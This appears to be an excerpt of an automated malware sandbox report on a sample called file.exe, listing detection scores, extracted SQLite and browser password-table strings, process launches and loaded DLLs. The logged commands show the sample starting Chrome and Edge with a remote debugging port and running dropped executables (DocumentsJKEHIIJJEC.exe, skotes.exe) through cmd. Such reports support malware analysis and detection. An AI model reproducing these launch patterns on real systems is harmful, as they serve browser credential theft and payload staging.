Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2438106717.000000001DBC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523592345.000000001DBB9000.00000004.00000020.00020000.00000000.sdmp, DHCBAEHJJJKKFIDGHJEC.0.dr, IEHJJECBKKECFIEBGCAK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2743852022.000000001DCC0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2751378732.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 54%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJKEHIIJJEC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2188,i,13929647994171333099,11470152386843183422,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2364,i,7831822762904508803,12076089409015182220,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6764 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEHIIJJEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEHIIJJEC.exe "C:\Users\user\DocumentsJKEHIIJJEC.exe"
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe "C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEHIIJJEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2188,i,13929647994171333099,11470152386843183422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2364,i,7831822762904508803,12076089409015182220,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6764 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEHIIJJEC.exe "C:\Users\user\DocumentsJKEHIIJJEC.exe"
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe "C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
